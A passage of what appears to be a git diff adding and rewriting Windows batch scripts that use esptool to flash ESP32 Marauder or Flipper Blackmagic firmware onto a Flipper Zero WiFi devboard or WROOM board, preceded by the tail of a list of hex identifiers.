+B54D99618ADC
+08D6A7765640
+3E0557273982
+68C867397AD5
+4427385D72AB
+9B2C3E00B561
+120A7837BB5D
+B19A0664ECA6
+B456E1951216
+E87E3554727E
+8D96A0BA7234
+124F004321D3
+D881B675D881
+#

Wifi_DevBoard/FZ_Marauder_Flasher/Flash-v2.7.bat

@@ -0,0 +1,263 @@
+@echo off
+setlocal enabledelayedexpansion
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.70      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo. 
+
+:: Basic error checks
+IF NOT EXIST esptool.exe GOTO ESPERROR
+
+set BR=921600
+
+for /f "tokens=1" %%A in ('wmic path Win32_SerialPort get DeviceID^,PNPDeviceID^|findstr /i VID_303A') do set "_com=%%A"
+if not [!_com!]==[] echo Attempting to use serial port: !_com! & GOTO CHOOSE_FW
+for /f "tokens=1" %%A in ('wmic path Win32_SerialPort get DeviceID^,PNPDeviceID^|findstr /i VID_10C4') do set "_com=%%A"
+if not [!_com!]==[] echo Attempting to use serial port: !_com! & GOTO WROOM
+
+echo Cannot find ESP32-S2 DevBoard or WROOM (Marauder)!
+echo For Devboard, make sure to hold BOOT when plugging in USB.
+echo For WROOM, try continuing to hold the boot button through the process.
+echo.
+echo Otherwise, make sure drivers are installed and USB cable is good.
+echo.
+echo Drivers: https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers
+GOTO ERREXIT
+
+:CHOOSE_FW
+echo.
+echo Which action would you like to perform?
+echo.
+echo 1. Flash Marauder (no SD mod) to Devboard
+echo 2. Flash Marauder (with SD mod) to Devboard
+echo 3. Save Flipper Blackmagic WiFi settings
+echo 4. Flash Flipper Blackmagic
+echo 5. Download USB UART Drivers (Silicon Labs).
+echo 6. Update Marauder BIN file (v0.13.10 included)
+echo.
+set choice_fw=
+set /p choice_fw= Type choice and hit enter: 
+if '%choice_fw%'=='1' GOTO MARAUDER
+if '%choice_fw%'=='2' GOTO MARAUDERSD
+if '%choice_fw%'=='3' GOTO BACKUP
+if '%choice_fw%'=='4' GOTO FLIPPERBM
+if '%choice_fw%'=='5' GOTO DRIVERS
+if '%choice_fw%'=='6' GOTO UPDATE
+echo Please choose 1, or 2!
+ping 127.0.0.1 -n 5
+cls
+GOTO CHOOSE_FW
+
+:MARAUDER
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.70      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo. 
+set last_firmware=
+for /f "tokens=1" %%F in ('dir Marauder\esp32_marauder*flipper.bin /b /o-n') do set last_firmware=%%F
+IF [!last_firmware!]==[] echo Please get and copy the last firmware from ESP32Marauder's Github Releases & GOTO ERREXIT
+esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset erase_region 0x9000 0x6000
+echo Firmware Erased, preparing write...
+ping 127.0.0.1 -n 5 > NUL
+esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset write_flash --flash_mode dio --flash_freq 80m --flash_size 4MB 0x1000 Marauder\bootloader.bin 0x8000 Marauder\partitions.bin 0x10000 Marauder\!last_firmware!
+GOTO DONE
+
+:MARAUDERSD
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.70      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo. 
+echo  Make sure you have followed the instructions for your breakout board!
+echo.
+echo  Press any key to open a link to the instructions, then start the flashing process.
+echo.
+pause>nul
+start https://github.com/justcallmekoko/ESP32Marauder/wiki/flipper-zero#sd-card-modification
+echo.
+set last_firmware=
+for /f "tokens=1" %%F in ('dir Marauder\esp32_marauder*flipper.bin /b /o-n') do set last_firmware=%%F
+IF [!last_firmware!]==[] echo Please get and copy the last firmware from ESP32Marauder's Github Releases & GOTO ERREXIT
+esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset erase_region 0x9000 0x6000
+echo Firmware Erased, preparing write...
+ping 127.0.0.1 -n 5 > NUL
+esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset write_flash --flash_mode dio --flash_freq 80m --flash_size 4MB 0x1000 Marauder\bootloader.bin 0x8000 Marauder\partitions.bin 0x10000 Marauder\!last_firmware!
+GOTO DONE
+
+:BACKUP
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.70      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo.
+echo Saving Flipper Blackmagic WiFi Settings to "FlipperBlackmagic\nvs.bin"
+esptool.exe -p !_com! -b %BR% -c esp32s2 -a no_reset read_flash 0x9000 0x6000 FlipperBlackmagic\nvs.bin
+GOTO DONE
+
+:FLIPPERBM
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.70      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo. 
+IF EXIST FlipperBlackmagic\nvs.bin (
+    echo Flashing Flipper Blackmagic with WiFi Settings restore
+    esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset write_flash --flash_mode dio --flash_freq 80m --flash_size 4MB 0x1000 FlipperBlackmagic\bootloader.bin 0x8000 FlipperBlackmagic\partition-table.bin 0x9000 FlipperBlackmagic\nvs.bin 0x10000 FlipperBlackmagic\blackmagic.bin
+) ELSE (
+    echo Flashing Flipper Blackmagic without WiFi Settings restore
+    esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset erase_region 0x9000 0x6000
+    echo Firmware Erased, preparing write...
+    ping 127.0.0.1 -n 5 > NUL
+    esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset write_flash --flash_mode dio --flash_freq 80m --flash_size 4MB 0x1000 FlipperBlackmagic\bootloader.bin 0x8000 FlipperBlackmagic\partition-table.bin 0x10000 FlipperBlackmagic\blackmagic.bin
+)
+GOTO DONE
+
+:WROOM
+echo.
+echo Which action would you like to perform?
+echo.
+echo 1. Flash Marauder WROOM (including older v4 OEM).
+echo 2. Update Marauder BIN file (v0.13.10 included).
+echo 3. Download USB UART Drivers (Silicon Labs).
+echo.
+set choice=
+set /p choice= Type choice and hit enter: 
+if '%choice%'=='1' GOTO WRMARAUDER
+if '%choice%'=='2' GOTO WRUPDATE
+if '%choice%'=='3' GOTO DRIVERS
+echo Please choose 1, 2, or 3!
+ping 127.0.0.1 -n 5
+cls
+GOTO CHOOSE
+
+:WRMARAUDER
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.70      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo. 
+set last_firmware=
+for /f "tokens=1" %%F in ('dir WROOM\esp32_marauder*_old_hardware.bin /b /o-n') do set last_firmware=%%F
+IF [!last_firmware!]==[] echo Please get and copy the last firmware from ESP32Marauder's Github Releases & GOTO ERREXIT
+esptool.exe -p !_com! -b %BR% -c esp32 --before default_reset -a no_reset erase_region 0x9000 0x6000
+echo Firmware Erased, preparing write...
+ping 127.0.0.1 -n 3 > NUL
+esptool.exe -p !_com! -b %BR% --before default_reset -a hard_reset -c esp32 write_flash --flash_mode dio --flash_freq 80m --flash_size 2MB 0x1000 WROOM\bootloader.bin 0x8000 WROOM\partitions.bin 0x10000 WROOM\!last_firmware! 0xE000 WROOM\boot_app.bin
+GOTO WRDONE
+
+:WRUPDATE
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.70      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo.
+echo Please download OLD_HARDWARE.BIN file to WROOM folder, delete any other BIN files, and rerun Flasher.
+echo.
+echo Press any key to open Marauder download location in default browser...
+pause>NUL
+start https://github.com/justcallmekoko/ESP32Marauder/releases/latest
+GOTO ERREXIT
+
+:DRIVERS
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.70      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo.
+echo Please download and install the correct drivers and rerun Flasher.
+echo.
+echo Press any key to open driver download location in default browser...
+pause>NUL
+start https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers
+GOTO ERREXIT
+
+:UPDATE
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.70      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo.
+echo Please download the correct flipper BIN file to Marauder or SD folder,
+echo delete any other BIN files, and rerun Flasher...
+echo.
+echo Press any key to open Marauder download location in default browser...
+pause>NUL
+start https://github.com/justcallmekoko/ESP32Marauder/releases/latest
+GOTO ERREXIT
+
+:DONE
+echo.
+echo -------------------------------------------------------------------------------------------
+echo Process has completed! Please disconnect your Devboard and connect it to your Flipper Zero.
+echo -------------------------------------------------------------------------------------------
+echo.
+echo ==========================================================================
+echo ERRORS ABOVE MAY BE NORMAL - Please ignore them for now and give it a try.
+echo ==========================================================================
+echo.
+echo (You may now close this window or press any key to exit.)
+pause>nul
+exit
+
+:WRDONE
+echo.
+echo ---------------------------------------------------------------
+echo Process has completed. Device may reboot to finish the update.
+echo Otherwise, disconnect the device and plug it into your Flipper!
+echo ---------------------------------------------------------------
+echo.
+echo ==========================================================================
+echo ERRORS ABOVE MAY BE NORMAL - Please ignore them for now and give it a try.
+echo ==========================================================================
+echo.
+echo (You may now close this window or press any key to exit.)
+pause>nul
+exit
+
+:ESPERROR
+echo esptool.exe is missing. Please download and extract the full package.
+GOTO ERREXIT
+
+:ERREXIT
+echo.
+echo (You may now close this window or press any key to exit.)
+pause>nul
+exit

Wifi_DevBoard/FZ_Marauder_Flasher/Old_Versions/Flash-v2.6.bat

@@ -1,256 +1,256 @@
-@echo off
-setlocal enabledelayedexpansion
-cls
-echo.
-echo #########################################
-echo #    Marauder Flasher Script v2.60      #
-echo #   By UberGuidoZ, original by Frog     #
-echo #    Tweaked by ImprovingRigmarole      #
-echo #    WROOM inspired by SkeletonMan      #
-echo #########################################
-echo. 
-
-:: Basic error checks
-IF NOT EXIST esptool.exe GOTO ESPERROR
-
-set BR=921600
-
-for /f "tokens=1" %%A in ('wmic path Win32_SerialPort get DeviceID^,PNPDeviceID^|findstr /i VID_303A') do set "_com=%%A"
-if not [!_com!]==[] echo Attempting to use serial port: !_com! & GOTO CHOOSE_FW
-for /f "tokens=1" %%A in ('wmic path Win32_SerialPort get DeviceID^,PNPDeviceID^|findstr /i VID_10C4') do set "_com=%%A"
-if not [!_com!]==[] echo Attempting to use serial port: !_com! & GOTO WROOM
-
-echo Cannot find ESP32-S2 DevBoard or WROOM (Marauder)!
-echo For Devboard, make sure to hold BOOT when plugging in USB.
-echo For WROOM, try continuing to hold the boot button through the process.
-echo.
-echo Otherwise, make sure drivers are installed and USB cable is good.
-echo.
-echo Drivers: https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers
-GOTO ERREXIT
-
-:CHOOSE_FW
-echo.
-echo Which action would you like to perform?
-echo.
-echo 1. Flash Marauder (no SD mod) to Devboard
-echo 2. Flash Marauder (with SD mod) to Devboard
-echo 3. Save Flipper Blackmagic WiFi settings
-echo 4. Flash Flipper Blackmagic
-echo 5. Download USB UART Drivers (Silicon Labs).
-echo 6. Update Marauder BIN file (v0.13.6 included)
-echo.
-set choice_fw=
-set /p choice_fw= Type choice and hit enter: 
-if '%choice_fw%'=='1' GOTO MARAUDER
-if '%choice_fw%'=='2' GOTO MARAUDERSD
-if '%choice_fw%'=='3' GOTO BACKUP
-if '%choice_fw%'=='4' GOTO FLIPPERBM
-if '%choice_fw%'=='5' GOTO DRIVERS
-if '%choice_fw%'=='6' GOTO UPDATE
-echo Please choose 1, or 2!
-ping 127.0.0.1 -n 5
-cls
-GOTO CHOOSE_FW
-
-:MARAUDER
-cls
-echo.
-echo #########################################
-echo #    Marauder Flasher Script v2.60      #
-echo #   By UberGuidoZ, original by Frog     #
-echo #    Tweaked by ImprovingRigmarole      #
-echo #    WROOM inspired by SkeletonMan      #
-echo #########################################
-echo. 
-set last_firmware=
-for /f "tokens=1" %%F in ('dir Marauder\esp32_marauder*flipper.bin /b /o-n') do set last_firmware=%%F
-IF [!last_firmware!]==[] echo Please get and copy the last firmware from ESP32Marauder's Github Releases & GOTO ERREXIT
-esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset erase_region 0x9000 0x6000
-echo Firmware Erased, preparing write...
-ping 127.0.0.1 -n 5 > NUL
-esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset write_flash --flash_mode dio --flash_freq 80m --flash_size 4MB 0x1000 Marauder\bootloader.bin 0x8000 Marauder\partitions.bin 0x10000 Marauder\!last_firmware!
-GOTO DONE
-
-:MARAUDERSD
-cls
-echo.
-echo #########################################
-echo #    Marauder Flasher Script v2.60      #
-echo #   By UberGuidoZ, original by Frog     #
-echo #    Tweaked by ImprovingRigmarole      #
-echo #    WROOM inspired by SkeletonMan      #
-echo #########################################
-echo. 
-set last_firmware=
-for /f "tokens=1" %%F in ('dir SD\esp32_marauder*flipper_sd_serial.bin /b /o-n') do set last_firmware=%%F
-IF [!last_firmware!]==[] echo Please get and copy the last firmware from ESP32Marauder's Github Releases & GOTO ERREXIT
-esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset erase_region 0x9000 0x6000
-echo Firmware Erased, preparing write...
-ping 127.0.0.1 -n 5 > NUL
-esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset write_flash --flash_mode dio --flash_freq 80m --flash_size 4MB 0x1000 SD\bootloader.bin 0x8000 SD\partitions.bin 0x10000 SD\!last_firmware!
-GOTO DONE
-
-:BACKUP
-cls
-echo.
-echo #########################################
-echo #    Marauder Flasher Script v2.60      #
-echo #   By UberGuidoZ, original by Frog     #
-echo #    Tweaked by ImprovingRigmarole      #
-echo #    WROOM inspired by SkeletonMan      #
-echo #########################################
-echo.
-echo Saving Flipper Blackmagic WiFi Settings to "FlipperBlackmagic\nvs.bin"
-esptool.exe -p !_com! -b %BR% -c esp32s2 -a no_reset read_flash 0x9000 0x6000 FlipperBlackmagic\nvs.bin
-GOTO DONE
-
-:FLIPPERBM
-cls
-echo.
-echo #########################################
-echo #    Marauder Flasher Script v2.60      #
-echo #   By UberGuidoZ, original by Frog     #
-echo #    Tweaked by ImprovingRigmarole      #
-echo #    WROOM inspired by SkeletonMan      #
-echo #########################################
-echo. 
-IF EXIST FlipperBlackmagic\nvs.bin (
-    echo Flashing Flipper Blackmagic with WiFi Settings restore
-    esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset write_flash --flash_mode dio --flash_freq 80m --flash_size 4MB 0x1000 FlipperBlackmagic\bootloader.bin 0x8000 FlipperBlackmagic\partition-table.bin 0x9000 FlipperBlackmagic\nvs.bin 0x10000 FlipperBlackmagic\blackmagic.bin
-) ELSE (
-    echo Flashing Flipper Blackmagic without WiFi Settings restore
-    esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset erase_region 0x9000 0x6000
-    echo Firmware Erased, preparing write...
-    ping 127.0.0.1 -n 5 > NUL
-    esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset write_flash --flash_mode dio --flash_freq 80m --flash_size 4MB 0x1000 FlipperBlackmagic\bootloader.bin 0x8000 FlipperBlackmagic\partition-table.bin 0x10000 FlipperBlackmagic\blackmagic.bin
-)
-GOTO DONE
-
-:WROOM
-echo.
-echo Which action would you like to perform?
-echo.
-echo 1. Flash Marauder WROOM (including older v4 OEM).
-echo 2. Update Marauder BIN file (v0.13.3 included).
-echo 3. Download USB UART Drivers (Silicon Labs).
-echo.
-set choice=
-set /p choice= Type choice and hit enter: 
-if '%choice%'=='1' GOTO WRMARAUDER
-if '%choice%'=='2' GOTO WRUPDATE
-if '%choice%'=='3' GOTO DRIVERS
-echo Please choose 1, 2, or 3!
-ping 127.0.0.1 -n 5
-cls
-GOTO CHOOSE
-
-:WRMARAUDER
-cls
-echo.
-echo #########################################
-echo #    Marauder Flasher Script v2.60      #
-echo #   By UberGuidoZ, original by Frog     #
-echo #    Tweaked by ImprovingRigmarole      #
-echo #    WROOM inspired by SkeletonMan      #
-echo #########################################
-echo. 
-set last_firmware=
-for /f "tokens=1" %%F in ('dir WROOM\esp32_marauder*_old_hardware.bin /b /o-n') do set last_firmware=%%F
-IF [!last_firmware!]==[] echo Please get and copy the last firmware from ESP32Marauder's Github Releases & GOTO ERREXIT
-esptool.exe -p !_com! -b %BR% -c esp32 --before default_reset -a no_reset erase_region 0x9000 0x6000
-echo Firmware Erased, preparing write...
-ping 127.0.0.1 -n 3 > NUL
-esptool.exe -p !_com! -b %BR% --before default_reset -a hard_reset -c esp32 write_flash --flash_mode dio --flash_freq 80m --flash_size 2MB 0x1000 WROOM\bootloader.bin 0x8000 WROOM\partitions.bin 0x10000 WROOM\!last_firmware! 0xE000 WROOM\boot_app.bin
-GOTO WRDONE
-
-:WRUPDATE
-cls
-echo.
-echo #########################################
-echo #    Marauder Flasher Script v2.60      #
-echo #   By UberGuidoZ, original by Frog     #
-echo #    Tweaked by ImprovingRigmarole      #
-echo #    WROOM inspired by SkeletonMan      #
-echo #########################################
-echo.
-echo Please download OLD_HARDWARE.BIN file to WROOM folder, delete any other BIN files, and rerun Flasher.
-echo.
-echo Press any key to open Marauder download location in default browser...
-pause>NUL
-start https://github.com/justcallmekoko/ESP32Marauder/releases/latest
-GOTO ERREXIT
-
-:DRIVERS
-cls
-echo.
-echo #########################################
-echo #    Marauder Flasher Script v2.60      #
-echo #   By UberGuidoZ, original by Frog     #
-echo #    Tweaked by ImprovingRigmarole      #
-echo #    WROOM inspired by SkeletonMan      #
-echo #########################################
-echo.
-echo Please download and install the correct drivers and rerun Flasher.
-echo.
-echo Press any key to open driver download location in default browser...
-pause>NUL
-start https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers
-GOTO ERREXIT
-
-:UPDATE
-cls
-echo.
-echo #########################################
-echo #    Marauder Flasher Script v2.60      #
-echo #   By UberGuidoZ, original by Frog     #
-echo #    Tweaked by ImprovingRigmarole      #
-echo #    WROOM inspired by SkeletonMan      #
-echo #########################################
-echo.
-echo Please download the correct flipper BIN file to Marauder or SD folder,
-echo delete any other BIN files, and rerun Flasher...
-echo.
-echo Press any key to open Marauder download location in default browser...
-pause>NUL
-start https://github.com/justcallmekoko/ESP32Marauder/releases/latest
-GOTO ERREXIT
-
-:DONE
-echo.
-echo -------------------------------------------------------------------------------------------
-echo Process has completed! Please disconnect your Devboard and connect it to your Flipper Zero.
-echo -------------------------------------------------------------------------------------------
-echo.
-echo ==========================================================================
-echo ERRORS ABOVE MAY BE NORMAL - Please ignore them for now and give it a try.
-echo ==========================================================================
-echo.
-echo (You may now close this window or press any key to exit.)
-pause>nul
-exit
-
-:WRDONE
-echo.
-echo ---------------------------------------------------------------
-echo Process has completed. Device may reboot to finish the update.
-echo Otherwise, disconnect the device and plug it into your Flipper!
-echo ---------------------------------------------------------------
-echo.
-echo ==========================================================================
-echo ERRORS ABOVE MAY BE NORMAL - Please ignore them for now and give it a try.
-echo ==========================================================================
-echo.
-echo (You may now close this window or press any key to exit.)
-pause>nul
-exit
-
-:ESPERROR
-echo esptool.exe is missing. Please download and extract the full package.
-GOTO ERREXIT
-
-:ERREXIT
-echo.
-echo (You may now close this window or press any key to exit.)
-pause>nul
-exit
+@echo off
+setlocal enabledelayedexpansion
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.60      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo. 
+
+:: Basic error checks
+IF NOT EXIST esptool.exe GOTO ESPERROR
+
+set BR=921600
+
+for /f "tokens=1" %%A in ('wmic path Win32_SerialPort get DeviceID^,PNPDeviceID^|findstr /i VID_303A') do set "_com=%%A"
+if not [!_com!]==[] echo Attempting to use serial port: !_com! & GOTO CHOOSE_FW
+for /f "tokens=1" %%A in ('wmic path Win32_SerialPort get DeviceID^,PNPDeviceID^|findstr /i VID_10C4') do set "_com=%%A"
+if not [!_com!]==[] echo Attempting to use serial port: !_com! & GOTO WROOM
+
+echo Cannot find ESP32-S2 DevBoard or WROOM (Marauder)!
+echo For Devboard, make sure to hold BOOT when plugging in USB.
+echo For WROOM, try continuing to hold the boot button through the process.
+echo.
+echo Otherwise, make sure drivers are installed and USB cable is good.
+echo.
+echo Drivers: https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers
+GOTO ERREXIT
+
+:CHOOSE_FW
+echo.
+echo Which action would you like to perform?
+echo.
+echo 1. Flash Marauder (no SD mod) to Devboard
+echo 2. Flash Marauder (with SD mod) to Devboard
+echo 3. Save Flipper Blackmagic WiFi settings
+echo 4. Flash Flipper Blackmagic
+echo 5. Download USB UART Drivers (Silicon Labs).
+echo 6. Update Marauder BIN file (v0.13.6 included)
+echo.
+set choice_fw=
+set /p choice_fw= Type choice and hit enter: 
+if '%choice_fw%'=='1' GOTO MARAUDER
+if '%choice_fw%'=='2' GOTO MARAUDERSD
+if '%choice_fw%'=='3' GOTO BACKUP
+if '%choice_fw%'=='4' GOTO FLIPPERBM
+if '%choice_fw%'=='5' GOTO DRIVERS
+if '%choice_fw%'=='6' GOTO UPDATE
+echo Please choose 1, or 2!
+ping 127.0.0.1 -n 5
+cls
+GOTO CHOOSE_FW
+
+:MARAUDER
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.60      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo. 
+set last_firmware=
+for /f "tokens=1" %%F in ('dir Marauder\esp32_marauder*flipper.bin /b /o-n') do set last_firmware=%%F
+IF [!last_firmware!]==[] echo Please get and copy the last firmware from ESP32Marauder's Github Releases & GOTO ERREXIT
+esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset erase_region 0x9000 0x6000
+echo Firmware Erased, preparing write...
+ping 127.0.0.1 -n 5 > NUL
+esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset write_flash --flash_mode dio --flash_freq 80m --flash_size 4MB 0x1000 Marauder\bootloader.bin 0x8000 Marauder\partitions.bin 0x10000 Marauder\!last_firmware!
+GOTO DONE
+
+:MARAUDERSD
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.60      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo. 
+set last_firmware=
+for /f "tokens=1" %%F in ('dir SD\esp32_marauder*flipper_sd_serial.bin /b /o-n') do set last_firmware=%%F
+IF [!last_firmware!]==[] echo Please get and copy the last firmware from ESP32Marauder's Github Releases & GOTO ERREXIT
+esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset erase_region 0x9000 0x6000
+echo Firmware Erased, preparing write...
+ping 127.0.0.1 -n 5 > NUL
+esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset write_flash --flash_mode dio --flash_freq 80m --flash_size 4MB 0x1000 SD\bootloader.bin 0x8000 SD\partitions.bin 0x10000 SD\!last_firmware!
+GOTO DONE
+
+:BACKUP
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.60      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo.
+echo Saving Flipper Blackmagic WiFi Settings to "FlipperBlackmagic\nvs.bin"
+esptool.exe -p !_com! -b %BR% -c esp32s2 -a no_reset read_flash 0x9000 0x6000 FlipperBlackmagic\nvs.bin
+GOTO DONE
+
+:FLIPPERBM
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.60      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo. 
+IF EXIST FlipperBlackmagic\nvs.bin (
+    echo Flashing Flipper Blackmagic with WiFi Settings restore
+    esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset write_flash --flash_mode dio --flash_freq 80m --flash_size 4MB 0x1000 FlipperBlackmagic\bootloader.bin 0x8000 FlipperBlackmagic\partition-table.bin 0x9000 FlipperBlackmagic\nvs.bin 0x10000 FlipperBlackmagic\blackmagic.bin
+) ELSE (
+    echo Flashing Flipper Blackmagic without WiFi Settings restore
+    esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset erase_region 0x9000 0x6000
+    echo Firmware Erased, preparing write...
+    ping 127.0.0.1 -n 5 > NUL
+    esptool.exe -p !_com! -b %BR% -c esp32s2 --before default_reset -a no_reset write_flash --flash_mode dio --flash_freq 80m --flash_size 4MB 0x1000 FlipperBlackmagic\bootloader.bin 0x8000 FlipperBlackmagic\partition-table.bin 0x10000 FlipperBlackmagic\blackmagic.bin
+)
+GOTO DONE
+
+:WROOM
+echo.
+echo Which action would you like to perform?
+echo.
+echo 1. Flash Marauder WROOM (including older v4 OEM).
+echo 2. Update Marauder BIN file (v0.13.3 included).
+echo 3. Download USB UART Drivers (Silicon Labs).
+echo.
+set choice=
+set /p choice= Type choice and hit enter: 
+if '%choice%'=='1' GOTO WRMARAUDER
+if '%choice%'=='2' GOTO WRUPDATE
+if '%choice%'=='3' GOTO DRIVERS
+echo Please choose 1, 2, or 3!
+ping 127.0.0.1 -n 5
+cls
+GOTO CHOOSE
+
+:WRMARAUDER
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.60      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo. 
+set last_firmware=
+for /f "tokens=1" %%F in ('dir WROOM\esp32_marauder*_old_hardware.bin /b /o-n') do set last_firmware=%%F
+IF [!last_firmware!]==[] echo Please get and copy the last firmware from ESP32Marauder's Github Releases & GOTO ERREXIT
+esptool.exe -p !_com! -b %BR% -c esp32 --before default_reset -a no_reset erase_region 0x9000 0x6000
+echo Firmware Erased, preparing write...
+ping 127.0.0.1 -n 3 > NUL
+esptool.exe -p !_com! -b %BR% --before default_reset -a hard_reset -c esp32 write_flash --flash_mode dio --flash_freq 80m --flash_size 2MB 0x1000 WROOM\bootloader.bin 0x8000 WROOM\partitions.bin 0x10000 WROOM\!last_firmware! 0xE000 WROOM\boot_app.bin
+GOTO WRDONE
+
+:WRUPDATE
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.60      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo.
+echo Please download OLD_HARDWARE.BIN file to WROOM folder, delete any other BIN files, and rerun Flasher.
+echo.
+echo Press any key to open Marauder download location in default browser...
+pause>NUL
+start https://github.com/justcallmekoko/ESP32Marauder/releases/latest
+GOTO ERREXIT
+
+:DRIVERS
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.60      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo.
+echo Please download and install the correct drivers and rerun Flasher.
+echo.
+echo Press any key to open driver download location in default browser...
+pause>NUL
+start https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers
+GOTO ERREXIT
+
+:UPDATE
+cls
+echo.
+echo #########################################
+echo #    Marauder Flasher Script v2.60      #
+echo #   By UberGuidoZ, original by Frog     #
+echo #    Tweaked by ImprovingRigmarole      #
+echo #    WROOM inspired by SkeletonMan      #
+echo #########################################
+echo.
+echo Please download the correct flipper BIN file to Marauder or SD folder,
+echo delete any other BIN files, and rerun Flasher...
+echo.
+echo Press any key to open Marauder download location in default browser...
+pause>NUL
+start https://github.com/justcallmekoko/ESP32Marauder/releases/latest
+GOTO ERREXIT
+
+:DONE
+echo.
+echo -------------------------------------------------------------------------------------------
+echo Process has completed! Please disconnect your Devboard and connect it to your Flipper Zero.
+echo -------------------------------------------------------------------------------------------
+echo.
+echo ==========================================================================
+echo ERRORS ABOVE MAY BE NORMAL - Please ignore them for now and give it a try.
+echo ==========================================================================
+echo.
+echo (You may now close this window or press any key to exit.)
+pause>nul
+exit
+
+:WRDONE
+echo.
+echo ---------------------------------------------------------------
+echo Process has completed. Device may reboot to finish the update.
+echo Otherwise, disconnect the device and plug it into your Flipper!
+echo ---------------------------------------------------------------
+echo.
+echo ==========================================================================
+echo ERRORS ABOVE MAY BE NORMAL - Please ignore them for now and give it a try.
+echo ==========================================================================
+echo.
+echo (You may now close this window or press any key to exit.)
+pause>nul
+exit
+
+:ESPERROR
+echo esptool.exe is missing. Please download and extract the full package.
+GOTO ERREXIT
+
+:ERREXIT
